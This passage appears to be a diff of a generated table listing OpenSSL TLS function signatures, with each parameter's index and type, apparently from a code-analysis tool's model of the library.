SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_npn | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_npn | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_npn | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_npn | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_renegotiate | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_renegotiate | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_renegotiate | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_renegotiate | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_renegotiate | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_sct | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_sct | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_sct | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_sct | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_sct | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_server_cert_type | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_server_cert_type | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_server_cert_type | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_server_cert_type | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_server_cert_type | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_supported_versions | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_supported_versions | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_supported_versions | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_supported_versions | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_supported_versions | 4 | size_t | +| (SSL_CONNECTION *,SSL_CTX *,X509 *) | | ssl_cert_add0_chain_cert | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,SSL_CTX *,X509 *) | | ssl_cert_add0_chain_cert | 1 | SSL_CTX * | +| (SSL_CONNECTION *,SSL_CTX *,X509 *) | | ssl_cert_add0_chain_cert | 2 | X509 * | +| (SSL_CONNECTION *,SSL_CTX *,X509 *) | | ssl_cert_add1_chain_cert | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,SSL_CTX *,X509 *) | | ssl_cert_add1_chain_cert | 1 | SSL_CTX * | +| (SSL_CONNECTION *,SSL_CTX *,X509 *) | | ssl_cert_add1_chain_cert | 2 | X509 * | +| (SSL_CONNECTION *,SSL_CTX *,X509 *,int,int) | | ssl_security_cert | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,SSL_CTX *,X509 *,int,int) | | ssl_security_cert | 1 | SSL_CTX * | +| (SSL_CONNECTION *,SSL_CTX *,X509 *,int,int) | | ssl_security_cert | 2 | X509 * | +| (SSL_CONNECTION *,SSL_CTX *,X509 *,int,int) | | ssl_security_cert | 3 | int | +| (SSL_CONNECTION *,SSL_CTX *,X509 *,int,int) | | ssl_security_cert | 4 | int | +| (SSL_CONNECTION *,SSL_CTX *,stack_st_X509 *) | | ssl_cert_set1_chain | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,SSL_CTX *,stack_st_X509 *) | | ssl_cert_set1_chain | 1 | SSL_CTX * | +| (SSL_CONNECTION *,SSL_CTX *,stack_st_X509 *) | | ssl_cert_set1_chain | 2 | stack_st_X509 * | +| (SSL_CONNECTION *,TLSEXT_INDEX,int,RAW_EXTENSION *,X509 *,size_t) | | tls_parse_extension | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,TLSEXT_INDEX,int,RAW_EXTENSION *,X509 *,size_t) | | tls_parse_extension | 1 | TLSEXT_INDEX | +| (SSL_CONNECTION *,TLSEXT_INDEX,int,RAW_EXTENSION *,X509 *,size_t) | | tls_parse_extension | 2 | int | +| (SSL_CONNECTION *,TLSEXT_INDEX,int,RAW_EXTENSION *,X509 *,size_t) | | tls_parse_extension | 3 | RAW_EXTENSION * | +| (SSL_CONNECTION *,TLSEXT_INDEX,int,RAW_EXTENSION *,X509 *,size_t) | | tls_parse_extension | 4 | X509 * | +| (SSL_CONNECTION *,TLSEXT_INDEX,int,RAW_EXTENSION *,X509 *,size_t) | | tls_parse_extension | 5 | size_t | +| (SSL_CONNECTION *,TLS_RECORD *,size_t) | | ssl_release_record | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,TLS_RECORD *,size_t) | | ssl_release_record | 1 | TLS_RECORD * | +| (SSL_CONNECTION *,TLS_RECORD *,size_t) | | ssl_release_record | 2 | size_t | +| (SSL_CONNECTION *,WPACKET *) | | dtls_construct_hello_verify_request | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *) | | dtls_construct_hello_verify_request | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *) | | ssl3_get_req_cert_type | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *) | | ssl3_get_req_cert_type | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *) | | tls_construct_certificate_request | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *) | | tls_construct_certificate_request | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *) | | tls_construct_client_certificate | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *) | | tls_construct_client_certificate | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *) | | tls_construct_client_hello | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *) | | tls_construct_client_hello | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *) | | tls_construct_new_session_ticket | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *) | | tls_construct_new_session_ticket | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *) | | tls_construct_next_proto | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *) | | tls_construct_next_proto | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *) | | tls_construct_server_hello | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *) | | tls_construct_server_hello | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *,CERT_PKEY *,int) | | ssl3_output_cert_chain | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *,CERT_PKEY *,int) | | ssl3_output_cert_chain | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *,CERT_PKEY *,int) | | ssl3_output_cert_chain | 2 | CERT_PKEY * | +| (SSL_CONNECTION *,WPACKET *,CERT_PKEY *,int) | | ssl3_output_cert_chain | 3 | int | +| (SSL_CONNECTION *,WPACKET *,int) | | dtls1_close_construct_packet | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *,int) | | dtls1_close_construct_packet | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *,int) | | dtls1_close_construct_packet | 2 | int | +| (SSL_CONNECTION *,WPACKET *,int) | | dtls1_set_handshake_header | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *,int) | | dtls1_set_handshake_header | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *,int) | | dtls1_set_handshake_header | 2 | int | +| (SSL_CONNECTION *,WPACKET *,int) | | tls_close_construct_packet | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *,int) | | tls_close_construct_packet | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *,int) | | tls_close_construct_packet | 2 | int | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_alpn | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_alpn | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_alpn | 2 | unsigned int | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_alpn | 3 | X509 * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_alpn | 4 | size_t | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_client_cert_type | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_client_cert_type | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_client_cert_type | 2 | unsigned int | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_client_cert_type | 3 | X509 * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_client_cert_type | 4 | size_t | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_cookie | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_cookie | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_cookie | 2 | unsigned int | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_cookie | 3 | X509 * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_cookie | 4 | size_t | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_ec_pt_formats | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_ec_pt_formats | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_ec_pt_formats | 2 | unsigned int | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_ec_pt_formats | 3 | X509 * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_ec_pt_formats | 4 | size_t | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_psk | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_psk | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_psk | 2 | unsigned int | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_psk | 3 | X509 * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_psk | 4 | size_t | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_renegotiate | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_renegotiate | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_renegotiate | 2 | unsigned int | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_renegotiate | 3 | X509 * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_renegotiate | 4 | size_t | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_server_cert_type | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_server_cert_type | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_server_cert_type | 2 | unsigned int | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_server_cert_type | 3 | X509 * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_server_cert_type | 4 | size_t | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_stoc_alpn | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_stoc_alpn | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_stoc_alpn | 2 | unsigned int | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_stoc_alpn | 3 | X509 * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_stoc_alpn | 4 | size_t | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_stoc_ec_pt_formats | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_stoc_ec_pt_formats | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_stoc_ec_pt_formats | 2 | unsigned int | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_stoc_ec_pt_formats | 3 | X509 * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_stoc_ec_pt_formats | 4 | size_t | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_stoc_renegotiate | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_stoc_renegotiate | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_stoc_renegotiate | 2 | unsigned int | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_stoc_renegotiate | 3 | X509 * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_stoc_renegotiate | 4 | size_t | +| (SSL_CONNECTION *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | tls1_check_chain | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | tls1_check_chain | 1 | X509 * | +| (SSL_CONNECTION *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | tls1_check_chain | 2 | EVP_PKEY * | +| (SSL_CONNECTION *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | tls1_check_chain | 3 | stack_st_X509 * | +| (SSL_CONNECTION *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | tls1_check_chain | 4 | int | +| (SSL_CONNECTION *,const OSSL_RECORD_METHOD *,void *) | | ossl_ssl_set_custom_record_layer | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,const OSSL_RECORD_METHOD *,void *) | | ossl_ssl_set_custom_record_layer | 1 | const OSSL_RECORD_METHOD * | +| (SSL_CONNECTION *,const OSSL_RECORD_METHOD *,void *) | | ossl_ssl_set_custom_record_layer | 2 | void * | +| (SSL_CONNECTION *,const size_t **,size_t *) | | tls1_get_group_tuples | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,const size_t **,size_t *) | | tls1_get_group_tuples | 1 | const size_t ** | +| (SSL_CONNECTION *,const size_t **,size_t *) | | tls1_get_group_tuples | 2 | size_t * | +| (SSL_CONNECTION *,const stack_st_X509_NAME *,WPACKET *) | | construct_ca_names | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,const stack_st_X509_NAME *,WPACKET *) | | construct_ca_names | 1 | const stack_st_X509_NAME * | +| (SSL_CONNECTION *,const stack_st_X509_NAME *,WPACKET *) | | construct_ca_names | 2 | WPACKET * | +| (SSL_CONNECTION *,const uint16_t **,size_t *) | | tls1_get_requested_keyshare_groups | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,const uint16_t **,size_t *) | | tls1_get_requested_keyshare_groups | 1 | const uint16_t ** | +| (SSL_CONNECTION *,const uint16_t **,size_t *) | | tls1_get_requested_keyshare_groups | 2 | size_t * | +| (SSL_CONNECTION *,const uint16_t **,size_t *) | | tls1_get_supported_groups | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,const uint16_t **,size_t *) | | tls1_get_supported_groups | 1 | const uint16_t ** | +| (SSL_CONNECTION *,const uint16_t **,size_t *) | | tls1_get_supported_groups | 2 | size_t * | +| (SSL_CONNECTION *,const unsigned char **,size_t *) | | tls1_get_formatlist | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,const unsigned char **,size_t *) | | tls1_get_formatlist | 1 | const unsigned char ** | +| (SSL_CONNECTION *,const unsigned char **,size_t *) | | tls1_get_formatlist | 2 | size_t * | +| (SSL_CONNECTION *,const unsigned char *,size_t) | | lookup_sess_in_cache | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,const unsigned char *,size_t) | | lookup_sess_in_cache | 1 | const unsigned char * | +| (SSL_CONNECTION *,const unsigned char *,size_t) | | lookup_sess_in_cache | 2 | size_t | +| (SSL_CONNECTION *,const unsigned char *,size_t,const unsigned char *,size_t,SSL_SESSION **) | | tls_decrypt_ticket | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,const unsigned char *,size_t,const unsigned char *,size_t,SSL_SESSION **) | | tls_decrypt_ticket | 1 | const unsigned char * | +| (SSL_CONNECTION *,const unsigned char *,size_t,const unsigned char *,size_t,SSL_SESSION **) | | tls_decrypt_ticket | 2 | size_t | +| (SSL_CONNECTION *,const unsigned char *,size_t,const unsigned char *,size_t,SSL_SESSION **) | | tls_decrypt_ticket | 3 | const unsigned char * | +| (SSL_CONNECTION *,const unsigned char *,size_t,const unsigned char *,size_t,SSL_SESSION **) | | tls_decrypt_ticket | 4 | size_t | +| (SSL_CONNECTION *,const unsigned char *,size_t,const unsigned char *,size_t,SSL_SESSION **) | | tls_decrypt_ticket | 5 | SSL_SESSION ** | +| (SSL_CONNECTION *,int *) | | dtls_get_message | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,int *) | | dtls_get_message | 1 | int * | +| (SSL_CONNECTION *,int *) | | tls_get_message_header | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,int *) | | tls_get_message_header | 1 | int * | +| (SSL_CONNECTION *,int) | | dtls1_read_failed | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | int | +| (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | int | +| (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | int | +| (SSL_CONNECTION *,int) | | tls1_shared_group | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | int | +| (SSL_CONNECTION *,int,RAW_EXTENSION *) | | ssl_choose_client_version | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,int,RAW_EXTENSION *) | | ssl_choose_client_version | 1 | int | +| (SSL_CONNECTION *,int,RAW_EXTENSION *) | | ssl_choose_client_version | 2 | RAW_EXTENSION * | +| (SSL_CONNECTION *,int,RAW_EXTENSION *,X509 *,size_t,int) | | tls_parse_all_extensions | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,int,RAW_EXTENSION *,X509 *,size_t,int) | | tls_parse_all_extensions | 1 | int | +| (SSL_CONNECTION *,int,RAW_EXTENSION *,X509 *,size_t,int) | | tls_parse_all_extensions | 2 | RAW_EXTENSION * | +| (SSL_CONNECTION *,int,RAW_EXTENSION *,X509 *,size_t,int) | | tls_parse_all_extensions | 3 | X509 * | +| (SSL_CONNECTION *,int,RAW_EXTENSION *,X509 *,size_t,int) | | tls_parse_all_extensions | 4 | size_t | +| (SSL_CONNECTION *,int,RAW_EXTENSION *,X509 *,size_t,int) | | tls_parse_all_extensions | 5 | int | +| (SSL_CONNECTION *,int,const uint16_t **) | | tls12_get_psigalgs | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,int,const uint16_t **) | | tls12_get_psigalgs | 1 | int | +| (SSL_CONNECTION *,int,const uint16_t **) | | tls12_get_psigalgs | 2 | const uint16_t ** | +| (SSL_CONNECTION *,int,int) | | ssl3_send_alert | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,int,int) | | ssl3_send_alert | 1 | int | +| (SSL_CONNECTION *,int,int) | | ssl3_send_alert | 2 | int | +| (SSL_CONNECTION *,int,int,char *,int) | | ossl_tls_handle_rlayer_return | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,int,int,char *,int) | | ossl_tls_handle_rlayer_return | 1 | int | +| (SSL_CONNECTION *,int,int,char *,int) | | ossl_tls_handle_rlayer_return | 2 | int | +| (SSL_CONNECTION *,int,int,char *,int) | | ossl_tls_handle_rlayer_return | 3 | char * | +| (SSL_CONNECTION *,int,int,char *,int) | | ossl_tls_handle_rlayer_return | 4 | int | +| (SSL_CONNECTION *,int,int,const char *,...) | | ossl_statem_fatal | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,int,int,const char *,...) | | ossl_statem_fatal | 1 | int | +| (SSL_CONNECTION *,int,int,const char *,...) | | ossl_statem_fatal | 2 | int | +| (SSL_CONNECTION *,int,int,const char *,...) | | ossl_statem_fatal | 3 | const char * | +| (SSL_CONNECTION *,int,int,const char *,...) | | ossl_statem_fatal | 4 | ... | +| (SSL_CONNECTION *,int,unsigned char *,size_t,DOWNGRADE) | | ssl_fill_hello_random | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,int,unsigned char *,size_t,DOWNGRADE) | | ssl_fill_hello_random | 1 | int | +| (SSL_CONNECTION *,int,unsigned char *,size_t,DOWNGRADE) | | ssl_fill_hello_random | 2 | unsigned char * | +| (SSL_CONNECTION *,int,unsigned char *,size_t,DOWNGRADE) | | ssl_fill_hello_random | 3 | size_t | +| (SSL_CONNECTION *,int,unsigned char *,size_t,DOWNGRADE) | | ssl_fill_hello_random | 4 | DOWNGRADE | +| (SSL_CONNECTION *,size_t *) | | dtls_get_message_body | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,size_t *) | | dtls_get_message_body | 1 | size_t * | +| (SSL_CONNECTION *,size_t *) | | tls_get_message_body | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,size_t *) | | tls_get_message_body | 1 | size_t * | +| (SSL_CONNECTION *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER *) | | ssl3_choose_cipher | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER *) | | ssl3_choose_cipher | 1 | stack_st_SSL_CIPHER * | +| (SSL_CONNECTION *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER *) | | ssl3_choose_cipher | 2 | stack_st_SSL_CIPHER * | +| (SSL_CONNECTION *,stack_st_X509 *,X509 *,int) | | ssl_security_cert_chain | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,stack_st_X509 *,X509 *,int) | | ssl_security_cert_chain | 1 | stack_st_X509 * | +| (SSL_CONNECTION *,stack_st_X509 *,X509 *,int) | | ssl_security_cert_chain | 2 | X509 * | +| (SSL_CONNECTION *,stack_st_X509 *,X509 *,int) | | ssl_security_cert_chain | 3 | int | +| (SSL_CONNECTION *,uint8_t,const unsigned char *,size_t,size_t *) | | do_dtls1_write | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,uint8_t,const unsigned char *,size_t,size_t *) | | do_dtls1_write | 1 | uint8_t | +| (SSL_CONNECTION *,uint8_t,const unsigned char *,size_t,size_t *) | | do_dtls1_write | 2 | const unsigned char * | +| (SSL_CONNECTION *,uint8_t,const unsigned char *,size_t,size_t *) | | do_dtls1_write | 3 | size_t | +| (SSL_CONNECTION *,uint8_t,const unsigned char *,size_t,size_t *) | | do_dtls1_write | 4 | size_t * | +| (SSL_CONNECTION *,uint8_t,const void *,size_t,size_t *) | | dtls1_write_bytes | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,uint8_t,const void *,size_t,size_t *) | | dtls1_write_bytes | 1 | uint8_t | +| (SSL_CONNECTION *,uint8_t,const void *,size_t,size_t *) | | dtls1_write_bytes | 2 | const void * | +| (SSL_CONNECTION *,uint8_t,const void *,size_t,size_t *) | | dtls1_write_bytes | 3 | size_t | +| (SSL_CONNECTION *,uint8_t,const void *,size_t,size_t *) | | dtls1_write_bytes | 4 | size_t * | +| (SSL_CONNECTION *,unsigned char **,const void *,size_t) | | construct_key_exchange_tbs | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,unsigned char **,const void *,size_t) | | construct_key_exchange_tbs | 1 | unsigned char ** | +| (SSL_CONNECTION *,unsigned char **,const void *,size_t) | | construct_key_exchange_tbs | 2 | const void * | +| (SSL_CONNECTION *,unsigned char **,const void *,size_t) | | construct_key_exchange_tbs | 3 | size_t | +| (SSL_CONNECTION *,unsigned char *,unsigned char *,size_t,size_t *) | | ssl3_generate_master_secret | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,unsigned char *,unsigned char *,size_t,size_t *) | | ssl3_generate_master_secret | 1 | unsigned char * | +| (SSL_CONNECTION *,unsigned char *,unsigned char *,size_t,size_t *) | | ssl3_generate_master_secret | 2 | unsigned char * | +| (SSL_CONNECTION *,unsigned char *,unsigned char *,size_t,size_t *) | | ssl3_generate_master_secret | 3 | size_t | +| (SSL_CONNECTION *,unsigned char *,unsigned char *,size_t,size_t *) | | ssl3_generate_master_secret | 4 | size_t * | +| (SSL_CONNECTION *,unsigned char,size_t,size_t,size_t) | | dtls1_set_message_header | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,unsigned char,size_t,size_t,size_t) | | dtls1_set_message_header | 1 | unsigned char | +| (SSL_CONNECTION *,unsigned char,size_t,size_t,size_t) | | dtls1_set_message_header | 2 | size_t | +| (SSL_CONNECTION *,unsigned char,size_t,size_t,size_t) | | dtls1_set_message_header | 3 | size_t | +| (SSL_CONNECTION *,unsigned char,size_t,size_t,size_t) | | dtls1_set_message_header | 4 | size_t | +| (SSL_CONNECTION *,unsigned long) | | tls1_check_ec_tmp_key | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,unsigned long) | | tls1_check_ec_tmp_key | 1 | unsigned long | +| (SSL_CTX *) | | SSL_CTX_get0_param | 0 | SSL_CTX * | +| (SSL_CTX *) | | SSL_CTX_get_client_cert_cb | 0 | SSL_CTX * | +| (SSL_CTX *) | | SSL_CTX_get_default_passwd_cb | 0 | SSL_CTX * | +| (SSL_CTX *) | | SSL_CTX_get_default_passwd_cb_userdata | 0 | SSL_CTX * | +| (SSL_CTX *) | | SSL_CTX_get_info_callback | 0 | SSL_CTX * | +| (SSL_CTX *) | | SSL_CTX_sess_get_get_cb | 0 | SSL_CTX * | +| (SSL_CTX *) | | SSL_CTX_sess_get_new_cb | 0 | SSL_CTX * | +| (SSL_CTX *) | | SSL_CTX_sess_get_remove_cb | 0 | SSL_CTX * | +| (SSL_CTX *) | | SSL_CTX_sessions | 0 | SSL_CTX * | +| (SSL_CTX *) | | ossl_quic_new | 0 | SSL_CTX * | +| (SSL_CTX *) | | ossl_ssl_connection_new | 0 | SSL_CTX * | +| (SSL_CTX *) | | ssl_load_groups | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_sess_set_get_cb | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_sess_set_get_cb | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_sess_set_new_cb | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_sess_set_new_cb | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_sess_set_remove_cb | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_sess_set_remove_cb | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_client_cert_cb | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_client_cert_cb | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_cookie_generate_cb | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_cookie_generate_cb 